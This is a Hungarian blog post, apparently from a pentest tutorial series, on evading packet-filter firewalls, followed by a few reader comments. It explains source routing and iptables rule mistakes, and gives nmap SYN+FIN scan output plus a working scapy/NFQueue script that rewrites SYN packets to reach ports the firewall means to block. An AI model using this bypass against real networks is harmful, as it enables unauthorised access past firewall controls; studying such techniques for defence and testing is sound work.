Ott hagytuk abba előző postban hogy fókuszáljunk a bypassra L3 és L4en. Néhány általános gondolat mielőtt nekiállunk játszani. Egy negatív modell tűzfalat jóval könnyebb elcseszni: Ha packetolással megyünk neki, jobb eséllyel bypassolható mint egy plusszos. Egy plusszos tűzfalon sokkal nehezebb kapaszkodót találni. A kulcsszavak: feltételezés, vizsgálat, kizárás - addig amig sikerül leszűkíteni a lehetőségeket. Valamennyire lehet automatizálni de nincs klisé, nyitott szemmel kell járni, és megkérdőjelezni azt is ami nyilvánvaló.
Ami kimarad...
Szívesen írnék IPv6-ról, de nem tehetem mert még nincs hozzá elég manapontom. :" Úgyhogy bármennyire is adja magát, ez kimarad. Szintén kimarad a NATolás, mert az is kitesz egy postot, úgyh azt majd valamikor ezután.
Egyszerűen meg van oldva a probléma, ha valamilyen szolgáltatás/alkalmazás (L4 fölött bármi) tulajdonságait, hibáját kihasználva tudunk landolni a tűzfal mögött, ami itt már jó eséllyel nem fog közbeszólni. App layer fw se mindig fogja meg a common attackokat, egyes toolok meg bypassra is be vannak tanítva. Ezt a vektort sem piszkáljuk, mert valami magasabb layeren kéne randalírozni, de ez most paketolós post.
Megkerülés?
A szolgáltatások/szerverek konfigjában sokszor defaulton marad a "hol_listeneljek" opció -ami önmagában is rossz hozzáállás-, tipikusan "0.0.0.0". Egy szervernek lehet több címe, de nem biztos hogy mindegyiket fogja a tűzfal. Tehát meg kéne tudnunk hogy milyen címeket tud még magáénak. Ha van egy darab port ami nincs filterezve és válaszol, (nem kell nyitott portnak lennie, lehet zárva, tökmindegy csak válaszoljon) akkor a packetfu1.-ben leírt timestamp-fu segítségével fel lehet mappelni hogy milyen IP-k tartoznak még hozzá.
Ha már IPoptionsnál járunk akkor szokták még emlegetni hogy az IPoptions/LSR|SSR (Loose|Strict Source Routing) segítségével megadhatjuk hogy milyen úton haladjon a csomag a célpontig, így bizonyos esetekben lehetőséget adhat a tűzfal kijátszására. A neten nagyon kis eséllyel jön szembe, mivel a legtöbb router és OS defaultból tiltja, mivel meredek security vonzatai vannak. Ahelyett hogy a lehetőségeit feszegetnénk, vizsgáljuk inkább meg a működési mechanizmusát: Az options-ben fel vannak sorolva ugye a címek amelyeken keresztül kell haladnia a csomagnak. Amikor egy host megkapja, megnézi hogy a pointer által mutatott cím az övé-e, és ha igen, akkor lecseréli az IP destination addressét erre (,illetve a source IP-t beleírja az aktuális pozicíóba, majd lépteti a pointert). Most lehet hogy felkapod a fejed, hiszen egyrészt utazás közben folyamatosan változik az IP src és dst, másrészt a TCP checksum kiszámoláshoz kell ugye a src és a dst is az IP-ből. Miközben a packet utazik a hálózaton, a TCP checksum végig hibás, csak akkor válik helyessé amikor eléri a célt.
Nekem még eddig sosem volt szerencsém a source routinggal. Itt van két prg: lsrscan és lsrtunnel amivel el lehetne játszani, de nekem nem akarta azt az igazságot amit én akarok... bár nem is nagyon erőltettem. IP optionsba kézzel összerakni (lábbal hogy?) sem bonyolultabb mint a timestampet. Itt és itt utána lehet nézni.
Elég gyakori hogy egyik másik szolgáltatás elérhetősége forrás IPre/netre van korlátozva. Nos, ez többnyire rossz hír, vagy legalábbis addig az, amíg nem tudsz a megfelelő tartományból/hostról érkezni. Feltéve hogy tudod mi a megfelelő. Itt kezdődnek a problémák. Nagyban kontextusfüggő, de segíthet egy jó hálózati térkép, esetleg bármilyen infoleak az alkalmazásrétegen vagy protokollokban. Erre nincs recept. :/
Ha tudod hogy honnan enged a tűzfal, akkor egy picivel közelebb vagy. Ha van source routing, akkor elméletben ezzel meg lehet ütni, de ezt nem volt alkalmam saját szememmel látni, kitapasztalni. Kézenfekvőnek tűnik felpattintani egy vasat ahonnan engedve van. Az is megoldás lehet ha abban a tartományban fel tudsz venni egy IP-t, vagy bele tudsz mocskoskodni a routolásba, de sekély esély. Spoofolás még szóba jöhet, de egyrészt ahhoz is tudni kell hogy honnan engednek a ruleok, másrészt nem látod a választ, tehát tcp kapcsolatot sem fogsz felépíteni. Spoofolással max azt tudod elérni hogy egy okos tűzfal appliance kitiltja a "malicious" IP-t.
A Barracuda balhéból leakelt iptables szabályok úgyis most volt nemrég. Első észrevétel hogy negatív security model, default accept. (oké, pszeudopozitív mert ott van a végén a drop) Második észrevétel hogy csak bizonyos hálózatok felől engedi az ssh-t: Ha ezek közül sikerül megpukkantani egy címet -mindegy hogyan- akkor -az advisory szerint- effektíve nincs többé tűzfal. Arról már nem is beszélve hogy a --tcp-flags -es szabályokat leárnyékolják az előtte lévők... (rule shadowing, anomália.)
Hibás szabályok
Amikor hibás szabályokat emlegetek akkor többnyire nem egy-egy hibás szabályt értek, a teljes szabálykészletre gondolok. A szabályok egyesével lefednek kisebb-nagyobb felületeket, de a szabályok összessége, a teljes szabálykészlet az ami végül meghatározza hogy a tűzfal mit enged és mit nem. A szabálykészletet sokféleképpen el lehet cseszni, de az eredmény mindig ugyanaz: nem biztosít megfelelő fedést. Én most a netfilter/iptables -el fogok példálózni. Ennek a felépítésről, működéséről egy nagyon zsivány kis összefoglaló itt.
Valami howtoból pár sor:
01- [bash]# iptables -P INPUT DROP
03- [bash]# iptables -P OUTPUT DROP
06- [bash]# iptables -A INPUT -i ppp0 -p tcp --sport 80 -j ACCEPT
07- [bash]# iptables -A OUTPUT -o ppp0 -p tcp --dport 80 -j ACCEPT
A ppp0 oldalán élő rossz emberek minden további nélkül megtehetik hogy a 80-as portól kezdeményeznek kapcsolatot a local szolgáltatásokhoz. Hiába DROP policy, a source portot én adom meg. Ez a --sport-os bénázás ebben a kiszerelésben jónéhány tutorialban visszaköszön.
# from dmz to internal
iptables -A dmz-good -p tcp --dport smtp -j ACCEPT
iptables -A dmz-good -p tcp --sport smtp -j ACCEPT
Ha TCPről és tűzfal bypassról beszélünk akkor a SYN+ACK a kulcs, ezt szeretnénk látni. Ha a SYN+ACK megvan, akkor egy csomagszűrő tűzfal onnantól már nem nagyon fog beleszólni. Nézzünk valami konkrétat.
Egy érdekes kapcsoló az iptablesben a --syn, ami elég gyakran előfordul tűzfal scriptekben. Érdemes megvizsgálni (man iptables). Azt mondja hogy:
[!] --syn
Only match TCP packets with the SYN bit set and the ACK,RST and FIN bits cleared. Such packets are used to request TCP connection initiation; for example, blocking such packets coming in an interface will prevent incoming TCP connections, but outgoing TCP connections will be unaffected. It is equivalent to --tcp-flags SYN,RST,ACK,FIN SYN. If the "!" flag precedes the "--syn", the sense of the option is inverted.
Tömören: Ha a SYN, RST, ACK, és FIN flagek közül csak a SYN van beállítva akkor matchel. Ez elsősorban negatív model tűzfalaknál okoz parát, ugyanis a TCP kapcsolatot fel lehet építeni SYN+FIN flaggel is. Ez esetben a 3way handshaket kell megtweakelni, tehát a kapcsolat a szokásos <SYN><SYN+ACK><ACK> helyett <SYN+FIN><SYN+ACK><ACK> -al fog létrejönni. És ami a scannelés résznél kimaradt, az a SYN+FIN scan, amit a SYN scan mellett még célszerű lefuttatni, illetve összehasonlítani. Az nmap --scanflags SYNFIN hatására csinál ilyet, és ha mákunk van akkor lehet hogy kiesik még néhány "open" port. A példa kedvéért:
# nmap <target_ip> -p 3306 -n -PN --reason -sS
Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-01 19:38 CET
Interesting ports on <target_ip>:
PORT STATE SERVICE REASON
3306/tcp filtered mysql no-response
# nmap <target_ip> -p 3306 -n -PN --reason --scanflags SYNFIN
Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-01 19:38 CET
Interesting ports on <target_ip>:
PORT STATE SERVICE REASON
3306/tcp open mysql syn-ack
Negatív modelről van szó, tehát default ACCEPT policy. Annyi történik hogy a szabály nem fog matchelni, és ha nincs más tiltás, akkor a chain végén az ACCEPT lesz a nyertes. Akkor építsünk fel egy kapcsolatot egy ilyen (majdnem) filterezett porton... El lehet játszani scapyval, és lezongorázhatjuk a 3way handshaket, ami tök jó tapasztalatnak, de a gyakorlatban ez kevés. Nem egy POC-ra van szükség, hanem szeretnénk a szolgáltatáshoz a megfelelő clienttel csatlakozni, ehez viszont bele köll túrni a paket flowba. Van pár lehetőség, de megpróbáltam valami elegáns és relativ portable megoldást összehozni.
Emögött a módszer a következő: IPtablessel az OUTPUT chainen a cél felé menő csomagot, de csak azt amiben _csak_ a SYN flag van beállítva, lerakjuk NFQueue-ba, majd eldropoljuk mert nem kell, van belőle másolat. Egy pyton script kibányássza az nfqueue-ból, módosítja a flageket SYN -ről SYN+FIN-re, és elküldi. Ennyi, nincs vele több dolog. Ez után már a megszokott módon lehet használni az akármilyen klienst. MySQL-en ez a különbség:
# mysql -h target_ip
ERROR 2003 (HY000): Can't connect to MySQL server on 'target_ip' (110)
...ez egy connrefuse volt...
# mysql -h target_ip
ERROR 1045 (28000): Access denied for user 'root'@'target_ip' (using password: NO)
Ez meg nem.
Az nfqueue-s ötletet és a kódot innen vettem kölcsön.
synfinfu.sh:
#!/bin/bash
iptables -A OUTPUT -p tcp --tcp-flags ALL SYN -d $1 --dport $2 -j NFQUEUE --queue-num $$
iptables -A OUTPUT -p tcp --tcp-flags ALL SYN -d $1 --dport $2 -j DROP
python synfinfu.py $$
synfinfu.py:
import logging, sys, nfqueue
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb = 0
qid = sys.argv[1]
def synfin(i, payload):
data = payload.get_data()
p = IP(data)
p[TCP].flags="SF"
del p[IP].chksum
del p[TCP].chksum
p = p.__class__(str(p))
send(p);
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(synfin)
q.create_queue(qid)
try:
q.try_run()
except KeyboardInterrupt:
print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
sys.exit(1)
Ezt nemsokára kinn lesz Gitoriuson is. Kelleni fog az nfqueue, szóval először...
# modprobe nfnetlink_queue
aztán
# apt-get install nfqueue-bindings-python
végül:
# ./synfinfu.sh <szerver_ip> <port>
és már lehet is kapcsolódni a szolgáltatáshoz a kedvenc klienssel.
Mára ennyi a paketolásból. Még egy pár gondolat így a végére: Alkalmazásrétegen / egyéb protokollokon keresztül bypass-ra majd visszatérünk egy külön postban. A Netfilter lelkivilágáról egy itt egy szép rajz, ha valakinek kedve támad teszteléshez: http://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg
A következő post is paketolás lesz, ezen belül a MITM támadások, spoof ... még most körvonalazódik. Bármi kérdés, kérés, felvetés, javaslat, anyázás jöhet kommentbe. ^^
MonDeekoma 2013.03.06. 15:02:33
bAndie91 2013.04.09. 15:23:13
_2501 2013.04.09. 17:52:28
bAndie91 2013.04.17. 02:39:12
iptables -t filter -S OUTPUT
-P OUTPUT ACCEPT -A OUTPUT -d 1.1.1.1/32 -p tcp -m tcp --dport 1111 --tcp-flags FIN,SYN,RST,PSH,ACK,URG SYN -j NFQUEUE --queue-num 2
-A OUTPUT -d 1.1.1.1/32 -p tcp -m tcp --dport 1111 --tcp-flags FIN,SYN,RST,PSH,ACK,URG SYN -j LOG
nc -v 1.1.1.1 1111
tshark -n -i any -R "ip.addr==1.1.1.1"
nfqueue-figyelõt nem állítottam be, mert (root-ként) RuntimeError-t dobott: error during nfq_bind_pf(),
de úgy látom, nem állítasz be neki verdict-et, tehát az a packet, amit nfq-n keresztül fogad, nem mehet tovább, de a filter táblára, se a mangle táblára.
nc timeout-ol, tshark nem lát packet-ot, kernel log-ba se kerül bele.
szerintem arra a bizonyos -j DROP -ra nem jut packet; ha mégis, az feletébb érdekelne, hogyan.